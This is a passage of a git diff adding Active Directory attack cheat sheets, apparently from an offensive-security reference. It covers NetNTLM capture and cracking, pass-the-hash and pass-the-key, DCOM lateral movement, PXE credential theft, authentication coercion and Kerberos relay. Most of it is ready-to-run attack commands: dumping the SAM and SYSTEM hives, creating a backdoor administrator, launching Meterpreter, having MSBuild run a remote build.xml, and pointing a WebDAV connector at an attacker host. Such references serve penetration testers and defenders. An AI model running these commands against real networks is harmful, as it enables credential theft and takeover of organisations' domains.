[crack.sh](https://crack.sh/)). + +:warning: NetNTLMv1 format is `login::domain:lmresp:ntresp:clientChall`. If the `lmresp` contains a **0's-padding** this means that the token is protected by **ESS/SSP**. + +:warning: NetNTLMv1 final challenge is the Responder's challenge itself (`1122334455667788`) when there is no ESS/SSP. If ESS/SSP is enabled, the final challenge is the first 8 bytes of the MD5 hash from the concatenation of the client challenge and server challenge. The details of the algorithmic generation of a NetNTLMv1 are illustrated on the [shuck.sh Generator](https://shuck.sh/generator.php) and detailed in [MISCMag#128](https://connect.ed-diamond.com/misc/misc-128/shuck-hash-before-trying-to-crack-it). + +:warning: If you get some tokens from other tools ([OpenSecurityResearch/hostapd-wpe](https://github.com/OpenSecurityResearch/hostapd-wpe) or [moxie0/chapcrack](https://github.com/moxie0/chapcrack)) in other formats, like tokens starting with the prefix `$MSCHAPv2$`, `$NETNTLM$` or `$99$`, they correspond to a classic NetNTLMv1 and can be converted from one format to another [here](https://shuck.sh/converter.php). + +**Mitigations**: + +* Set the Lan Manager authentication level to `Send NTLMv2 responses only. Refuse LM & NTLM` + +## Capturing and cracking Net-NTLMv2/NTLMv2 hashes + +If any user in the network tries to access a machine and mistype the IP or the name, Responder will answer for it and ask for the NTLMv2 hash to access the resource. Responder will poison `LLMNR`, `MDNS` and `NETBIOS` requests on the network. + +* [lgandx/Responder](https://github.com/lgandx/Responder) + + ```powershell + sudo ./Responder.py -I eth0 -wfrd -P -v + ``` + +* [Kevin-Robertson/Inveigh](https://github.com/Kevin-Robertson/Inveigh) + + ```powershell + .\inveighzero.exe -FileOutput Y -NBNS Y -mDNS Y -Proxy Y -MachineAccounts Y -DHCPv6 Y -LLMNRv6 Y [-Elevated N] + ``` + +* [EmpireProject/Invoke-Inveigh.ps1](https://github.com/EmpireProject/Empire/blob/master/data/module_source/collection/Invoke-Inveigh.ps1) + + ```powershell + Invoke-Inveigh [-IP '10.10.10.10'] -ConsoleOutput Y -FileOutput Y -NBNS Y –mDNS Y –Proxy Y -MachineAccounts Y + ``` + +Crack the hashes with Hashcat / John The Ripper + +```ps1 +john --format=netntlmv2 hash.txt +hashcat -m 5600 -a 3 hash.txt +``` + +## References + +* [NTLMv1_Downgrade.md - S3cur3Th1sSh1t - 09/07/2021](https://gist.github.com/S3cur3Th1sSh1t/0c017018c2000b1d5eddf2d6a194b7bb) +* [Practical Attacks against NTLMv1 - Esteban Rodriguez - September 15, 2022](https://trustedsec.com/blog/practical-attacks-against-ntlmv1) +* [Attacking LM/NTLMv1 Challenge/Response Authentication - defence in depth - April 21, 2011](http://www.defenceindepth.net/2011/04/attacking-lmntlmv1-challengeresponse_21.html) +* [CRACKING NETLM/NETNTLMV1 AUTHENTICATION - crack.sh](https://crack.sh/netntlm/) +* [NTLMv1 to NTLM Reversing - evilmog - 03-03-2020](https://hashcat.net/forum/thread-9009-post-47806.html) diff --git a/personas/_shared/internal-allthethings/active-directory/hash-over-pass-the-hash.md b/personas/_shared/internal-allthethings/active-directory/hash-over-pass-the-hash.md new file mode 100644 index 0000000..68b68b3 --- /dev/null +++ b/personas/_shared/internal-allthethings/active-directory/hash-over-pass-the-hash.md @@ -0,0 +1,26 @@ +# Hash - OverPass-the-Hash + +> In this technique, instead of passing the hash directly, we use the NT hash of an account to request a valid Kerberost ticket (TGT). + +## Using impacket + +```bash +root@kali:~$ python ./getTGT.py -hashes ":1a59bd44fe5bec39c44c8cd3524dee" lab.ropnop.com +root@kali:~$ export KRB5CCNAME="/root/impacket-examples/velociraptor.ccache" +root@kali:~$ python3 psexec.py "jurassic.park/velociraptor@labwws02.jurassic.park" -k -no-pass + +root@kali:~$ ktutil -k ~/mykeys add -p tgwynn@LAB.ROPNOP.COM -e arcfour-hma-md5 -w 1a59bd44fe5bec39c44c8cd3524dee --hex -V 5 +root@kali:~$ kinit -t ~/mykers tgwynn@LAB.ROPNOP.COM +root@kali:~$ klist +``` + +## Using Rubeus + +```powershell +# Request a TGT as the target user and pass it into the current session +# NOTE: Make sure to clear tickets in the current session (with 'klist purge') to ensure you don't have multiple active TGTs +.\Rubeus.exe asktgt /user:Administrator /rc4:[NTLMHASH] /ptt + +# Pass the ticket to a sacrificial hidden process, allowing you to e.g. steal the token from this process (requires elevation) +.\Rubeus.exe asktgt /user:Administrator /rc4:[NTLMHASH] /createnetonly:C:\Windows\System32\cmd.exe +``` diff --git a/personas/_shared/internal-allthethings/active-directory/hash-pass-the-hash.md b/personas/_shared/internal-allthethings/active-directory/hash-pass-the-hash.md new file mode 100644 index 0000000..51bbf97 --- /dev/null +++ b/personas/_shared/internal-allthethings/active-directory/hash-pass-the-hash.md @@ -0,0 +1,49 @@ +# Hash - Pass the Hash + +The types of hashes you can use with Pass-The-Hash are NT or NTLM hashes. Since Windows Vista, attackers have been unable to pass-the-hash to local admin accounts that weren’t the built-in RID 500. + +* Metasploit + + ```powershell + use exploit/windows/smb/psexec + set RHOST 10.2.0.3 + set SMBUser jarrieta + set SMBPass nastyCutt3r + # NOTE1: The password can be replaced by a hash to execute a `pass the hash` attack. + # NOTE2: Require the full NT hash, you may need to add the "blank" LM (aad3b435b51404eeaad3b435b51404ee) + set PAYLOAD windows/meterpreter/bind_tcp + run + shell + ``` + +* netexec + + ```powershell + nxc smb 10.2.0.2/24 -u jarrieta -H 'aad3b435b51404eeaad3b435b51404ee:489a04c09a5debbc9b975356693e179d' -x "whoami" + ``` + +* Impacket suite + + ```powershell + proxychains python ./psexec.py jarrieta@10.2.0.2 -hashes :489a04c09a5debbc9b975356693e179d + ``` + +* Windows RDP and mimikatz + + ```powershell + sekurlsa::pth /user:Administrator /domain:contoso.local /ntlm:b73fdfe10e87b4ca5c0d957f81de6863 + sekurlsa::pth /user: /domain: /ntlm: /run:"mstsc.exe /restrictedadmin" + ``` + +You can extract the local **SAM database** to find the local administrator hash : + +```powershell +C:\> reg.exe save hklm\sam c:\temp\sam.save +C:\> reg.exe save hklm\security c:\temp\security.save +C:\> reg.exe save hklm\system c:\temp\system.save +$ secretsdump.py -sam sam.save -security security.save -system system.save LOCAL +``` + +## References + +* [Passing the hash with native RDP client (mstsc.exe)](https://michael-eder.net/post/2018/native_rdp_pass_the_hash/) diff --git a/personas/_shared/internal-allthethings/active-directory/hash-pass-the-key.md b/personas/_shared/internal-allthethings/active-directory/hash-pass-the-key.md new file mode 100644 index 0000000..8d83fd4 --- /dev/null +++ b/personas/_shared/internal-allthethings/active-directory/hash-pass-the-key.md @@ -0,0 +1,58 @@ +# Hash - Pass The Key + +Pass The Key allows attackers to gain access to systems by using a valid session key instead of the user's password or NTLM hash. This technique is related to other credential-based attacks like Pass The Hash (PTH) and Pass The Ticket (PTT) but specifically uses session keys to authenticate. + +Pre-authentication requires the requesting user to provide a secret key, which is derived from their password and may use encryption algorithms such as DES, RC4, AES128, or AES256. + +* **RC4**: ARCFOUR-HMAC-MD5 (23), in this format, this is the NTLM hash, go to **Pass The Hash** to use it directly and **Over Pass The Hash** page to request a TGT from it. +* **DES**: DES3-CBC-SHA1 (16), should not be used anymore and have been deprecated since 2018 ([RFC 8429](https://www.rfc-editor.org/rfc/rfc8429)). +* **AES128**: AES128-CTS-HMAC-SHA1-96 (17), both AES encryption algorithms can be used with Impacket and Rubeus tools. +* **AES256**: AES256-CTS-HMAC-SHA1-96 (18) + +In the past, there were more encryptions methods, that have now been deprecated. + +| enctype | weak?| krb5 | Windows | +| -------------------------- | ---- | ------ | ------- | +| des-cbc-crc | weak | <1.18 | >=2000 | +| des-cbc-md4 | weak | <1.18 | ? | +| des-cbc-md5 | weak | <1.18 | >=2000 | +| des3-cbc-sha1 | | >=1.1 | none | +| arcfour-hmac | | >=1.3 | >=2000 | +| arcfour-hmac-exp | weak | >=1.3 | >=2000 | +| aes128-cts-hmac-sha1-96 | | >=1.3 | >=Vista | +| aes256-cts-hmac-sha1-96 | | >=1.3 | >=Vista | +| aes128-cts-hmac-sha256-128 | | >=1.15 | none | +| aes256-cts-hmac-sha384-192 | | >=1.15 | none | +| camellia128-cts-cmac | | >=1.9 | none | +| camellia256-cts-cmac | | >=1.9 | none | + +Microsoft Windows releases Windows 7 and later disable single-DES enctypes by default. + +Either use the AES key to generate a ticket with `ticketer`, or request a new TGT using `getTGT.py` script from Impacket. + +## Generate a new ticket + +* [fortra/impacket/ticketer.py](https://github.com/fortra/impacket/blob/master/examples/ticketer.py) + + ```powershell + impacket-ticketer -aesKey 2ef70e1ff0d18df08df04f272df3f9f93b707e89bdefb95039cddbadb7c6c574 -domain lab.local Administrator -domain-sid S-1-5-21-2218639424-46377867-3078535060 + ``` + +## Request a TGT + +* [fortra/impacket/getTGT.py](https://github.com/fortra/impacket/blob/master/examples/getTGT.py) + + ```powershell + impacket-getTGT -aesKey 2ef70e1ff0d18df08df04f272df3f9f93b707e89bdefb95039cddbadb7c6c574 lab.local + ``` + +* [GhostPack/Rubeus](https://github.com/GhostPack/Rubeus) + + ```powershell + .\Rubeus.exe asktgt /user:Administrator /aes128 bc09f84dcb4eabccb981a9f265035a72 /ptt + .\Rubeus.exe asktgt /user:Administrator /aes256:2ef70e1ff0d18df08df04f272df3f9f93b707e89bdefb95039cddbadb7c6c574 /opsec /ptt + ``` + +## References + +* [MIT Kerberos Documentation - Encryption types](https://web.mit.edu/kerberos/krb5-1.18/doc/admin/enctypes.html) diff --git a/personas/_shared/internal-allthethings/active-directory/internal-dcom.md b/personas/_shared/internal-allthethings/active-directory/internal-dcom.md new file mode 100644 index 0000000..63525fc --- /dev/null +++ b/personas/_shared/internal-allthethings/active-directory/internal-dcom.md @@ -0,0 +1,117 @@ +# Internal - DCOM + +> DCOM is an extension of COM (Component Object Model), which allows applications to instantiate and access the properties and methods of COM objects on a remote computer. + +* [impacket/dcomexec.py](https://github.com/fortra/impacket/blob/master/examples/dcomexec.py) + + ```ps1 + dcomexec.py [-h] [-share SHARE] [-nooutput] [-ts] [-debug] [-codec CODEC] [-object [{ShellWindows,ShellBrowserWindow,MMC20}]] [-hashes LMHASH:NTHASH] [-no-pass] [-k] [-aesKey hex key] [-dc-ip ip address] [-A authfile] [-keytab KEYTAB] target [command ...] + dcomexec.py -share C$ -object MMC20 '/:@' + dcomexec.py -share C$ -object MMC20 '/:@' 'ipconfig' + + python3 dcomexec.py -object MMC20 -silentcommand -debug $DOMAIN/$USER:$PASSWORD\$@$HOST 'notepad.exe' + # -object MMC20 specifies that we wish to instantiate the MMC20.Application object. + # -silentcommand executes the command without attempting to retrieve the output. + ``` + +* [klezVirus/CheeseTools](https://github.com/klezVirus/CheeseTools) + + ```powershell + # https://klezvirus.github.io/RedTeaming/LateralMovement/LateralMovementDCOM/ + -t, --target=VALUE Target Machine + -b, --binary=VALUE Binary: powershell.exe + -a, --args=VALUE Arguments: -enc + -m, --method=VALUE Methods: MMC20Application, ShellWindows, + ShellBrowserWindow, ExcelDDE, VisioAddonEx, + OutlookShellEx, ExcelXLL, VisioExecLine, + OfficeMacro + -r, --reg, --registry Enable registry manipulation + -h, -?, --help Show Help + + Current Methods: MMC20.Application, ShellWindows, ShellBrowserWindow, ExcelDDE, VisioAddonEx, OutlookShellEx, ExcelXLL, VisioExecLine, OfficeMacro. + ``` + +* [rvrsh3ll/Misc-Powershell-Scripts/Invoke-DCOM.ps1](https://raw.githubusercontent.com/rvrsh3ll/Misc-Powershell-Scripts/master/Invoke-DCOM.ps1) + + ```powershell + Import-Module .\Invoke-DCOM.ps1 + Invoke-DCOM -ComputerName '10.10.10.10' -Method MMC20.Application -Command "calc.exe" + Invoke-DCOM -ComputerName '10.10.10.10' -Method ExcelDDE -Command "calc.exe" + Invoke-DCOM -ComputerName '10.10.10.10' -Method ServiceStart "MyService" + Invoke-DCOM -ComputerName '10.10.10.10' -Method ShellBrowserWindow -Command "calc.exe" + Invoke-DCOM -ComputerName '10.10.10.10' -Method ShellWindows -Command "calc.exe" + ``` + +## DCOM via MMC Application Class + +This COM object (MMC20.Application) allows you to script components of MMC snap-in operations. there is a method named **"ExecuteShellCommand"** under **Document.ActiveView**. + +```ps1 +PS C:\> $com = [activator]::CreateInstance([type]::GetTypeFromProgID("MMC20.Application","10.10.10.1")) +PS C:\> $com.Document.ActiveView.ExecuteShellCommand("C:\Windows\System32\calc.exe",$null,$null,7) +PS C:\> $com.Document.ActiveView.ExecuteShellCommand("C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe",$null,"-enc DFDFSFSFSFSFSFSFSDFSFSF < Empire encoded string > ","7") + +# Weaponized example with MSBuild +PS C:\> [System.Activator]::CreateInstance([type]::GetTypeFromProgID("MMC20.Application","10.10.10.1")).Document.ActiveView.ExecuteShellCommand("c:\windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe",$null,"\\10.10.10.2\webdav\build.xml","7") +``` + +[n0tty/powershellery/Invoke-MMC20RCE.ps1](https://raw.githubusercontent.com/n0tty/powershellery/master/Invoke-MMC20RCE.ps1) + +## DCOM via Office + +* Excel.Application + * DDEInitiate + * RegisterXLL +* Outlook.Application + * CreateObject->Shell.Application->ShellExecute + * CreateObject->ScriptControl (office-32bit only) +* Visio.InvisibleApp (same as Visio.Application, but should not show the Visio window) + * Addons + * ExecuteLine +* Word.Application + * RunAutoMacro + +```ps1 +# Powershell script that injects shellcode into excel.exe via ExecuteExcel4Macro through DCOM +Invoke-Excel4DCOM64.ps1 https://gist.github.com/Philts/85d0f2f0a1cc901d40bbb5b44eb3b4c9 +Invoke-ExShellcode.ps1 https://gist.github.com/Philts/f7c85995c5198e845c70cc51cd4e7e2a + +# Using Excel DDE +PS C:\> $excel = [activator]::CreateInstance([type]::GetTypeFromProgID("Excel.Application", "$ComputerName")) +PS C:\> $excel.DisplayAlerts = $false +PS C:\> $excel.DDEInitiate("cmd", "/c calc.exe") + +# Using Excel RegisterXLL +# Can't be used reliably with a remote target +Require: reg add HKEY_CURRENT_USER\Software\Microsoft\Office\16.0\Excel\Security\Trusted Locations /v AllowsNetworkLocations /t REG_DWORD /d 1 +PS> $excel = [activator]::CreateInstance([type]::GetTypeFromProgID("Excel.Application", "$ComputerName")) +PS> $excel.RegisterXLL("EvilXLL.dll") + +# Using Visio +$visio = [activator]::CreateInstance([type]::GetTypeFromProgID("Visio.InvisibleApp", "$ComputerName")) +$visio.Addons.Add("C:\Windows\System32\cmd.exe").Run("/c calc") +``` + +## DCOM via ShellExecute + +```ps1 +$com = [Type]::GetTypeFromCLSID('9BA05972-F6A8-11CF-A442-00A0C90A8F39',"10.10.10.1") +$obj = [System.Activator]::CreateInstance($com) +$item = $obj.Item() +$item.Document.Application.ShellExecute("cmd.exe","/c calc.exe","C:\windows\system32",$null,0) +``` + +## DCOM via ShellBrowserWindow + +:warning: Windows 10 only, the object doesn't exists in Windows 7 + +```ps1 +$com = [Type]::GetTypeFromCLSID('C08AFD90-F2A1-11D1-8455-00A0C91F3880',"10.10.10.1") +$obj = [System.Activator]::CreateInstance($com) +$obj.Application.ShellExecute("cmd.exe","/c calc.exe","C:\windows\system32",$null,0) +``` + +## References + +* [Lateral movement via dcom: round 2 - enigma0x3 - January 23, 2017](https://enigma0x3.net/2017/01/23/lateral-movement-via-dcom-round-2/) +* [New lateral movement techniques abuse DCOM technology - Philip Tsukerman - Jan 25, 2018](https://www.cybereason.com/blog/dcom-lateral-movement-techniques) diff --git a/personas/_shared/internal-allthethings/active-directory/internal-pxe-boot-image.md b/personas/_shared/internal-allthethings/active-directory/internal-pxe-boot-image.md new file mode 100644 index 0000000..0fc890a --- /dev/null +++ b/personas/_shared/internal-allthethings/active-directory/internal-pxe-boot-image.md @@ -0,0 +1,54 @@ +# Internal - PXE Boot Image + +PXE allows a workstation to boot from the network by retrieving an operating system image from a server using TFTP (Trivial FTP) protocol. This boot over the network allows an attacker to fetch the image and interact with it. + +- Press **[F8]** during the PXE boot to spawn an administrator console on the deployed machine. +- Press **[SHIFT+F10]** during the initial Windows setup process to bring up a system console, then add a local administrator or dump SAM/SYSTEM registry. + + ```powershell + net user hacker Password123! /add + net localgroup administrators /add hacker + ``` + +- Extract the pre-boot image (wim files) using [PowerPXE.ps1 (https://github.com/wavestone-cdt/powerpxe)](https://github.com/wavestone-cdt/powerpxe) and dig through it to find default passwords and domain accounts. + + ```powershell + # Import the module + PS > Import-Module .\PowerPXE.ps1 + + # Start the exploit on the Ethernet interface + PS > Get-PXEcreds -InterfaceAlias Ethernet + PS > Get-PXECreds -InterfaceAlias « lab 0 » + + # Wait for the DHCP to get an address + >> Get a valid IP address + >>> >>> DHCP proposal IP address: 192.168.22.101 + >>> >>> DHCP Validation: DHCPACK + >>> >>> IP address configured: 192.168.22.101 + + # Extract BCD path from the DHCP response + >> Request BCD File path + >>> >>> BCD File path: \Tmp\x86x64{5AF4E332-C90A-4015-9BA2-F8A7C9FF04E6}.bcd + >>> >>> TFTP IP Address: 192.168.22.3 + + # Download the BCD file and extract wim files + >> Launch TFTP download + >>>> Transfer succeeded. + >> Parse the BCD file: conf.bcd + >>>> Identify wim file : \Boot\x86\Images\LiteTouchPE_x86.wim + >>>> Identify wim file : \Boot\x64\Images\LiteTouchPE_x64.wim + >> Launch TFTP download + >>>> Transfer succeeded. + + # Parse wim files to find interesting data + >> Open LiteTouchPE_x86.wim + >>>> Finding Bootstrap.ini + >>>> >>>> DeployRoot = \\LAB-MDT\DeploymentShare$ + >>>> >>>> UserID = MdtService + >>>> >>>> UserPassword = Somepass1 + ``` + +## References + +- [Attacks Against Windows PXE Boot Images - February 13th, 2018 - Thomas Elling](https://blog.netspi.com/attacks-against-windows-pxe-boot-images/) +- [COMPROMISSION DES POSTES DE TRAVAIL GRÂCE À LAPS ET PXE MISC n° 103 - mai 2019 - Rémi Escourrou, Cyprien Oger](https://connect.ed-diamond.com/MISC/MISC-103/Compromission-des-postes-de-travail-grace-a-LAPS-et-PXE) diff --git a/personas/_shared/internal-allthethings/active-directory/internal-relay-coerce.md b/personas/_shared/internal-allthethings/active-directory/internal-relay-coerce.md new file mode 100644 index 0000000..186028b --- /dev/null +++ b/personas/_shared/internal-allthethings/active-directory/internal-relay-coerce.md @@ -0,0 +1,151 @@ +# Internal - Coerce + +Coerce refers to forcing a target machine (usually with SYSTEM privileges) to authenticate to another machine. + +## Signing + +### Server Side Signing + +| Operating System | SMB Signing | LDAP Signing | +| ------------------------------- | --- | --- | +| Windows Server 2019 DC | ✅ | ❌ | +| Windows Server 2022 DC pre 23H2 | ✅ | ❌ | +| Windows Server 2022 DC 23H2 | ✅ | ✅ | +| Windows Server 2025 DC | ✅ | ✅ | +| Windows Server 2019 Member | ❌ | - | +| Windows Server 2022 Member | ❌ | - | +| Windows Server 2025 Member | ❌ | - | +| Windows 10 | ❌ | - | +| Windows 11 23H2 | ❌ | - | +| Windows 11 24H2 | ✅ | - | + +* Server-side SMB signing has been enabled on domain controllers +* Server-side SMB signing is still not required by default on non-DC Windows server + +### EPA + +* [zyn3rgy/RelayInformer](https://github.com/zyn3rgy/RelayInformer) - Python and BOF utilites to the determine EPA enforcement levels of popular NTLM relay targets from the offensive perspective. + +```ps1 +uv run relayinformer mssql --target 10.10.10.10 --user USER --password PASSWORD +uv run relayinformer http --url http://10.10.10.10/page --user USER --password PASSWORD +uv run relayinformer ldap --method BOTH --dc-ip 10.10.10.10 --user USER --password PASSWORD +uv run relayinformer ldap --method LDAPS --dc-ip 10.10.10.10 --user USER --password PASSWORD +``` + +| EPA Values | Description | +| ---------- | ----------- | +| Disabled / Never | You should generally be able to target with NTLM relay, regardless of the client's support for EPA or version of NTLM being used. | +| Allowed / Accepted / When Supported | You can theoretically conduct an NTLM relay but common relay scenarios will not work because standard coercion / poisoning techniques (mentioned above) will result in the addition of EPA-relevant AV pairs, indicating the client’s support for EPA. | +| Required | NTLM relay should be prevented by validation of values provided in EPA-relevant AV pairs. | + +## WebClient Service + +* On Windows workstations, the WebClient service is installed by default. +* On Windows servers, it is not installed by default + +**Enable WebClient**: + +WebClient service can be enabled on the machine using several techniques: + +* Mapping a WebDav server using `net` command : `net use ...` +* Typing anything into the explorer address bar that isn't a local file or directory +* Browsing to a directory or share that has a file with a `.searchConnector-ms` extension located inside. + + ```xml + + + Microsoft Outlook + false + true + + {91475FE5-586B-4EBA-8D75-D17434B8CDF6} + + + http://attacksystem/path + + + ``` + +Check if the WebDav service is running + +```ps1 +nxc smb -u 'user' -p 'pass' -M webdav +``` + +## MS-RPRN - PrinterBug + +**Tools**: + +* [leechristensen/SpoolSample](https://github.com/leechristensen/SpoolSample) - PoC tool to coerce Windows hosts authenticate to other machines via the MS-RPRN RPC interface. + +**Examples**: + +```ps1 +poetry run nxc smb 10.10.10.10/24 -u username -p password -M coerce_plus -o METHOD=PrinterBug +``` + +Checking if the Spooler Service is running. + +```ps1 +nxc smb -u 'user' -p 'pass' -M spooler +``` + +## MS-EFSR - PetitPotam + +The tools use the LSARPC named pipe with interface `c681d488-d850-11d0-8c52-00c04fd90f7e` because it's more prevalent. But it's possible to trigger with the EFSRPC named pipe and interface `df1941c5-fe89-4e79-bf10-463657acf44d`. + +**Tools**: + +* [topotam/PetitPotam](https://github.com/topotam/PetitPotam) - PoC tool to coerce Windows hosts to authenticate to other machines via MS-EFSRPC EfsRpcOpenFileRaw or other functions. + +**Examples**: + +```ps1 +poetry run nxc smb 10.10.10.10/24 -u username -p password -M coerce_plus -o METHOD=PetitPotam +``` + +## MS-DFSNM - DFS Coercion + +DFS Coerce (MS-DFSNM abuse) is a technique to force a Windows system to authenticate to an attacker-controlled machine by abusing the DFS Namespace Management RPC interface. + +**Tools**: + +* [Wh04m1001/DFSCoerce](https://github.com/Wh04m1001/DFSCoerce) - PoC for MS-DFSNM coerce authentication using NetrDfsRemoveStdRoot and NetrDfsAddStdRoot methods. + +**Examples**: + +```ps1 +python3 dfscoerce.py -u username -d domain.local 10.10.10.10 10.10.10.11 +poetry run nxc smb 10.10.10.10/24 -u username -p password -M coerce_plus -o METHOD=DFSCoerce +``` + +## MS-WSP - WSP Coercion + +* The `wsearch` service is only enabled by default on workstations, and has been disabled on servers since Server 2016. +* Only SMB connections can be coerced with WSP. + +**Tools**: + +* [slemire/WSPCoerce](https://github.com/slemire/WSPCoerce) - PoC to coerce authentication from Windows hosts using MS-WSP. +* [RedTeamPentesting/wspcoerce](https://github.com/RedTeamPentesting/wspcoerce) - wspcoerce coerces a Windows computer account via SMB to an arbitrary target using MS-WSP. + +**Examples**: + +```ps1 +WSPCoerce.exe +WSPCoerce.exe labsw1 172.23.10.109 +WSPCoerce.exe labsw1 labsrv1 + +wspcoerce 'lab.redteam/rtpttest:test1234!@192.0.2.115' "file:////attacksystem/share" +ntlmrelayx.py -t "http://192.0.2.5/certsrv/" -debug -6 -smb2support --adcs +``` + +* Can't use an IP address for the target, use a short hostname only (no FQDN) +* Make sure to use a hostname or FQDN for the listener if you want to receive Kerberos auth + +## References + +* [Changes to SMB Signing Enforcement Defaults in Windows 24H2 - Michael Grafnetter - January 26, 2025](https://www.dsinternals.com/en/smb-signing-windows-server-2025-client-11-24h2-defaults/) +* [Less Praying More Relaying – Enumerating EPA Enforcement for MSSQL and HTTPS - Nick Powers, Matt Creel - November 25, 2025](https://specterops.io/blog/2025/11/25/less-praying-more-relaying-enumerating-epa-enforcement-for-mssql-and-https/) +* [The Ultimate Guide to Windows Coercion Techniques in 2025 - RedTeam Pentesting - June 4, 2025](https://blog.redteam-pentesting.de/2025/windows-coercion/) diff --git a/personas/_shared/internal-allthethings/active-directory/internal-relay-kerberos.md b/personas/_shared/internal-allthethings/active-directory/internal-relay-kerberos.md new file mode 100644 index 0000000..d8c1f23 --- /dev/null +++ b/personas/_shared/internal-allthethings/active-directory/internal-relay-kerberos.md @@ -0,0 +1,114 @@ +# Internal - Kerberos Relay + +## Kerberos Relay over HTTP + +**Requirements**: + +* Kerberos authentication for services without signing + +HTTP through multicast poisoning (LLMNR) + +* An attacker sets up an LLMNR poisoner on the multicast range. +* An HTTP client on the multicast range fails to resolve a hostname. This can happen because of a typo in a browser, a misconfiguration, but this can also be triggered by an attacker via WebDav coercion. +* The LLMNR poisoner indicates that the hostname resolves to the attacker’s machine. In the LLMNR response, the answer name differs from the query and corresponds to an arbitrary relay target. +* The victim performs a request on the attacker web server, which requires Kerberos authentication. +* The victim asks for a ST with the SPN of the relay target. It then sends the resulting AP-REQ to the attacker web server. +* The attacker extracts the AP-REQ and relays it to a service of the relay target. + +**Example**: ESC8 with Kerberos Relay + +```ps1 +python3 Responder.py -I eth0 -N +sudo python3 krbrelayx.py --target 'http://./certsrv/' -ip --adcs --template User -debug +``` + +## Kerberos Relay over DNS + +Abuses the DNS Secure Dynamic Updates in Active Directory. + +* [dirkjanm/mitm6](https://github.com/dirkjanm/mitm6) +* [dirkjanm/krbrelayx](https://github.com/dirkjanm/krbrelayx) +* [dirkjanm/PKINITtools](https://github.com/dirkjanm/PKINITtools) + +**Steps**: + +* The client queries for the Start Of Authority (SOA) record for it’s name, which indicates which server is authoritative for the domain the client is in. +* The server responds with the DNS server that is authorative, in this case the DC icorp-dc.internal.corp. +* The client attempts a dynamic update on the A record with their name in the zone internal.corp. +* This dynamic update is refused by the server because no authentication is provided. +* The client uses a TKEY query to negotiate a secret key for authenticated queries. +* The server answers with a TKEY Resource Record, which completes the authentication. +* The client sends the dynamic update again, but now accompanied by a TSIG record, which is a signature using the key established in steps 5 and 6. +* The server acknowledges the dynamic update. The new DNS record is now in place. + +```ps1 +# Example - Relay to ADCS - ESC8 +sudo krbrelayx.py --target http://adscert.internal.corp/certsrv/ -ip 192.168.111.80 --victim icorp-w10.internal.corp --adcs --template Machine +sudo mitm6 --domain internal.corp --host-allowlist icorp-w10.internal.corp --relay adscert.internal.corp -v +python gettgtpkinit.py -pfx-base64 MIIRFQIBA..cut...lODSghScECP5hGFE3PXoz internal.corp/icorp-w10$ icorp-w10.ccache +``` + +## Kerberos Relay over SMB + +Abuses the way SMB clients construct SPNs when asking for a ST. + +* [cube0x0/KrbRelay](https://github.com/cube0x0/KrbRelay) - Framework for Kerberos relaying. +* [decoder-it/KrbRelayEx-RPC](https://github.com/decoder-it/KrbRelayEx-RPC) - Kerberos Relay and Forwarder for (Fake) RPC/DCOM MiTM Server. + +```ps1 +dnstool.py -u "DOMAIN.LOCAL\\user" -p "pass" -r "pki1UWhRCAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAYBAAAA" -d "10.10.10.10" --action add "10.10.10.11" --tcp +petitpotam.py -u 'user' -p 'pass' -d DOMAIN.LOCAL 'pki1UWhRCAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAYBAAAA' dc.domain.local +krbrelayx.py -t 'http://pki.domain.local/certsrv/certfnsh.asp' --adcs --template DomainController -v 'DC$' +gettgtpkinit.py -cert-pfx 'DC$.pfx' 'DOMAIN.LOCAL/DC$' DC.ccache +``` + +## Kerberos Reflection - CVE-2025-33073 + +Relay one machine to itself by using the `1UWhRCAAAAAAAAAAAAAAAAAAAAAAAAAAAAwbEAYBAAAA` trick. Also, grants local admin privilege. + +![reflective-kerberos-relay-attack](https://blog.redteam-pentesting.de/2025/reflective-kerberos-relay-attack/ReflectiveKerberosRelayAttackBlog_hu_4f4898429389ef25.webp) + +* Add a DNS record for `[SERVERNAME] + 1UWhRCAAAAAAAAAAAAAAAAAAAAAAAAAAAAwbEAYBAAAA` pointing to our IP address. It is also possible to compromise any vulnerable machine by registering `localhost1UWhRCAAAAAAAAAAAAAAAAAAAAAAAAAAAAwbEAYBAAAA`. + + ```ps1 + dnstool.py -u 'domain.local\username' -p 'P@ssw0rd' 10.10.10.10 -a add -r target1UWhRCAAAAAAAAAAAAAAAAAAAAAAAAAAAAwbEAYBAAAA -d 198.51.100.27 + # OR + pretender -i "vmnet2" --spoof "target1UWhRCAAAAAAAAAAAAAAAAAAAAAAAAAAAAwbEAYBAAAA" --no-dhcp --no-timestamps + ``` + +* Edit `krbrelayx/lib/servers/smbrelayserver.py` and remove these lines + + ```ps1 + 156: blob['tokenOid'] = '1.3.6.1.5.5.2' + 157: blob['innerContextToken']['mechTypes'].extend([MechType(TypesMech['KRB5 - Kerberos 5']), + 158: MechType(TypesMech['MS KRB5 - Microsoft Kerberos 5']), + 159: MechType(TypesMech['NTLMSSP - Microsoft NTLM Security Support Provider'])]) + ``` + +* Start the relay to catch the callback from TARGET. + + ```ps1 + krbrelayx.py -t TARGET.DOMAIN.LOCAL -smb2support + krbrelayx.py --target smb://target.lab.redteam -c whoam + ``` + +* Trigger a callback from the server to `[SERVERNAME] + 1UWhRCAAAAAAAAAAAAAAAAAAAAAAAAAAAAwbEAYBAAAA` using PetitPotam. + + ```ps1 + nxc smb TARGET.domain.local -u username -p 'P@ssw0rd' -M coerce_plus -o M=Petitpotam LISTENER=target1UWhRCAAAAAAAAAAAAAAAAAAAAAAAAAAAAwbEAYBAAAA + # OR + petitpotam.py -d domain.local -u username -p 'password' "TARGET1UWhRCAAAAAAAAAAAAAAAAAAAAAAAAAAAAwbEAYBAAAA" "TARGET.DOMAIN.LOCAL" + # OR + wspcoerce 'lab.redteam/user:password@target.lab.redteam' file:////target1UWhRCAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAYBAAAA/path + ``` + +## References + +* [A Look in the Mirror - The Reflective Kerberos Relay Attack - RedTeam Pentesting - June 11, 2025](https://blog.redteam-pentesting.de/2025/reflective-kerberos-relay-attack/) +* [Abusing multicast poisoning for pre-authenticated Kerberos relay over HTTP with Responder and krbrelayx - Quentin Roland - January 27, 2025](https://www.synacktiv.com/publications/abusing-multicast-poisoning-for-pre-authenticated-kerberos-relay-over-http-with) +* [From NTLM relay to Kerberos relay: Everything you need to know - Decoder - April 24, 